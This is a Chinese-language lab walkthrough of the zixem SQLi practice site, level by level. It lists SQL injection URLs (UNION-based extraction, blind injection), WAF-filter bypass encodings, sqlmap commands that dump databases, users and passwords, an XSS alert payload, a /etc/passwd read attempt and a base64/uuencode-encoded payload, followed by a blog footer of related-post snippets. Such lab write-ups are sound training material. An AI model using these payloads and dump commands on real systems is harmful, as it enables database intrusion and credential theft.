SQL Challenges靶机
http://www.zixem.altervista.org/SQLi/
第一关
http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=1--+
http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=2--+
http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 4--+
http://www.zixem.altervista.org/SQLi/level1.php?id=1%20order%20by%203--+
http://www.zixem.altervista.org/SQLi/level1.php?id=-1%20union%20select%201,2,3--+
sqlmap -u "注入点" --dbs
sqlmap -u "注入点" -D xx --tables
sqlmap -u "注入点" -D XX -T XX --columns
sqlmap -u "注入点" -D XX -T XX -C XX --dump
sqlmap -u "注入点" --users
sqlmap -u "注入点" --passwords
xss
http://www.zixem.altervista.org/SQLi/level1.php?id=%3CScRiPt%3Ealert(1)%3C/sCrIpT%3E
第二关
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4%27%20and%201=1--+
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4%27%20and%201=2--+
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4%27%20order%20by%205--+
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4%27%20order%20by%204--+
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=-4%27%20union%20select%201,2,3,4--+
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=-4' union select 1,database(),3,4--+
第三关
http://www.zixem.altervista.org/SQLi/level3.php?item=3%27%20and%201=1--+
http://www.zixem.altervista.org/SQLi/level3.php?item=3%27%20and%201=2--+
http://www.zixem.altervista.org/SQLi/level3.php?item=3%27%20order%20by%205--+
http://www.zixem.altervista.org/SQLi/level3.php?item=3%27%20order%20by%204--+
http://www.zixem.altervista.org/SQLi/level3.php?item=-3%27%20union%20select%201,2,3,4--+
http://www.zixem.altervista.org/SQLi/level3.php?item=-3%27%20unionon%20select%201,2,3,4--+
http://www.zixem.altervista.org/SQLi/level3.php?item=-3%27%20unionon%20select%201,database(),3,4--+
第四关
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7%27%20and%201=1--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7%27%20and%201=2--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7%27%20order%20by%205--+
m.altervista.org/SQLi/level4.php?ebookid=7' order by 6--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=-1%27%20union%20select%201,2,3,4,5--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=-1%27%20union%20select%201,database(),3,4,5--+
第五关
http://www.zixem.altervista.org/SQLi/login_lvl5.php
http://www.zixem.altervista.org/SQLi/md5cracker.php?hash=d1fd6ef9af6cb677e09b1b0a68301e0c
第六关
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10%20and%201=1--+
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10%20and%201=2--+
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10%20order%20by%205--+
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10%20order%20by%204--+
sqlmap 跑盲注
第七关
http://www.zixem.altervista.org/SQLi/level7.php?id=1%20and%201=1--+
http://www.zixem.altervista.org/SQLi/level7.php?id=1%20and%201=2--+
http://www.zixem.altervista.org/SQLi/level7.php?id=1%20order%20by%203--+
http://www.zixem.altervista.org/SQLi/level7.php?id=1%20order%20by4--+
http://www.zixem.altervista.org/SQLi/level7.php?id=-1+union+select+1,2,3--+
http://www.zixem.altervista.org/SQLi/level7.php?id=-1+UNION+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--+
第八关
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1\
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%27
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%27%20and%201=1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%27/**/and/**/1=1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%20and%201=1
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1' and '1'='1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1'/**/and/**/1=1--+
特殊字符绕过
A plus sign (+)
A simple URL encoded space (%20)
A null byte (%00)
A newline (%0a)
A tab (%09)
A carriage return (%0d)
构造poc
空格%20
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%20and%201=1
空字节%00
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%00and%001=1--+
换行\n %0a
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0aand%0a1=1--+
回车%0d
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0dsand%0d1=1--+
Tab %09
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1--+
Tab %09
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=2--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09order%09by%093--
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09union%09select%091,2,3--
大小写
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09union%09sSelECT%091,2,3--
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09/*!SeLECt*/%091,2,3--
url加密
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%2509union%2509select%25091,2,3--%20
使用特殊字符 *
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09sel*ect%091,2,3--
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09se/**/lect%091,2,3--
关键词替换
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09SEselectLECT%091,2,3--
http://www.zixem.altervista.org/SQLi/lvl8.php?id=2%09UNION%09ALL%09SELSELECTECT%091,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--
第九关
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' and 1=1--
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1%27%20and%201=2--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' order by 2--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1%27%20order%20by%203--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' union select 1,2--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1 and 1=2' union select "../etc/passwd","2"--+
第十关
http://www.zixem.altervista.org/SQLi/lvl10.php?x=ISwwYGAKYAo=
构造编码
1 AND 1=2 UNION SELECT 1,2--
使用Uuencode decoder 进行解码
<,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+#(M+0```
base64加密
PCwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyMoTSswYGAKYAo=
http://www.zixem.altervista.org/SQLi/lvl10.php?x=PCwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyMoTSswYGAKYAo=
构造注入语句
1 AND 1=2 UNION SELECT 1,CONCAT(user()," ",version())--
结果
M,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+$-/3D-!5"AU<V5R*"DL(B`B+'9E*<G-I;VXH*2DM+0```
64编码
TSwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyQtLzNELSE1IkFVPFY1UioiREwoQmBCKyc5RQoqPEctSTtWWEgqMkRNKzBgYApg
http://www.zixem.altervista.org/SQLi/lvl10.php?x=TSwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyQtLzNELSE1IkFVPFY1UioiREwoQmBCKyc5RQoqPEctSTtWWEgqMkRNKzBgYApg
参考文档 https://www.cnblogs.com/hack404/p/10387894.html
SQL Challenges靶机的更多相关文章
- SQL Challenges
平台: http://www.zixem.altervista.org/SQLi/ Level 1 (Super Easy) http://www.zixem.altervista.org/SQLi/ ...
- XSS challenges靶机
第一关 <script>alert(123)</script> "><svg onload=alert(123)> 第二关 <script&g ...
- web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入
很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...
- DVWA靶机-sql自动注入
1. 使用dvwa靶机进行sql注入实战(注:当前靶机安全级别为low) 打开sql漏洞,发现输入不同的数字会返回不同的信息, 先尝试手工判断是否存在sql注入 一般sql注入语句像这样,我们构造的是 ...
- SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...
- DC靶机1-9合集
DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...
- DC-1 靶机渗透
DC-1 靶机渗透 *概况*: 下载地址 https://www.vulnhub.com/entry/dc-1,292/ *官方描述:* DC-1 is a purposely built vulne ...
- sql注入学习小结
/* 转载请注明出处,By:珍惜少年时 小知识,只是放在博客吃饭时无聊看看,大牛勿喷. */ 珍惜少年时博客,专注网络安全 web渗透测试 00x1爆所有库: mysql> select sch ...
随机推荐
- Linkerd 2.10(Step by Step)—将 GitOps 与 Linkerd 和 Argo CD 结合使用
Linkerd 2.10 系列 快速上手 Linkerd v2.10 Service Mesh(服务网格) 腾讯云 K8S 集群实战 Service Mesh-Linkerd2 & Traef ...
- Serverless Web Function 实践教程（一）：快速部署 Node.js Web 服务
作为目前广受欢迎的 Web 服务开发语言,Node.js 提供了众多支持 HTTP 场景的相关功能,可以说是为 Web 构建而生.因此,基于 Node.js,也诞生了多种 Web 服务框架,它们对 N ...
- 简易版JDBC连接池
JDBC连接池mini版的实现 首先是工具类 DbUtil 主要参数就是Driver.User.PWD等啦,主要用于建立连接 URL需要注意的是SSL和serverTimezone参数,和mysql驱 ...
- redis实现分布式锁天然的缺陷
redis分布式锁基本原理 采用 redis 实现分布式锁,主要是利用其单线程命令执行的特性,一般是 setnx, 只会有一个线程会执行成功,也就是只有一个线程能成功获取锁: 看着很完美 看看可能有什 ...
- DHCP的简单介绍与配置
一.DHCP简介 二.DHCP报文类型 三.DHCP工作原理 四.实例操作 一.DHCP简介 DHCP(Dynamic Host Configuration Protocol),动态主机配置协议,是一 ...
- 地图可视化神器keplergl新增对jupyter lab 3.0的支持
就在几天前,地图可视化神器kepler.gl面向Python的接口库keplergl迎来了新的0.3.0版本更新. 虽然官方文档还并未及时更新相关的内容说明,但我在快速地试用之后发现,现在的keple ...
- .Net Core：限流
一.环境 1.vs2019 2..Net Core 3.1 3.引用 AspNetCoreRateLimit 4.0.1 二.基础使用 1.设置 在Startup文件中配置如下,把配置项都放在前面: ...
- 利用C语言判别用户输入数的奇偶性和正负性
要求:利用C语言判别用户输入数的奇偶性和正负性 提示:可以利用%求余数来判别 由题可知 我们需要if..else的结构来实现区分奇偶和正负 区分奇偶我们可以用: if (a % 2 == 0) { p ...
- sed 大括号 sed {} 的作用详解
今天看别人写的脚本的时候,看到了sed -r {} 我看网上对于这个的记录比较少,所以就写了这篇随笔. 先看一下效果 cat test.txt image: qqq/www/eee:TAG ...
- pdfkit html转pdf
pdfkit的通用option选项 参考:https://cloud.tencent.com/developer/ask/202116https://www.cnblogs.com/taceywong ...